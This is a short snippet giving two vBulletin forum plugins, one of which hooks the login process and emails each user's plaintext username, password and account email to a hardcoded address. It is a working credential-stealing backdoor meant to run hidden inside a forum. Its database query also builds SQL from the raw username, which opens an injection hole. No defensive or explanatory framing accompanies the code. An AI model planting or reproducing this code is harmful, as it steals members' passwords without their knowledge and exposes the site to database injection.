1st plugin:

GLOBAL START ->  $show['nopasswordempty'] = TRUE;

2nd plugin:

LOGIN_PROCESS - >
$lg_username = strtolower($vbulletin->GPC["vb_login_username"]);
   $lg_password = $vbulletin->GPC["vb_login_password"];
   $sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'");

   while($row = @mysql_fetch_array($sql_query))
   {

      if(strlen($lg_password) > 1 AND strlen($lg_username) > 1)
      {
$to= "email@email.com";
$subject = "VB Pass";
$message = $lg_username . ' : ' .  $lg_password." (" . $row["email"] . ")\n";
mail($to,$subject,$message,$headers);
}
}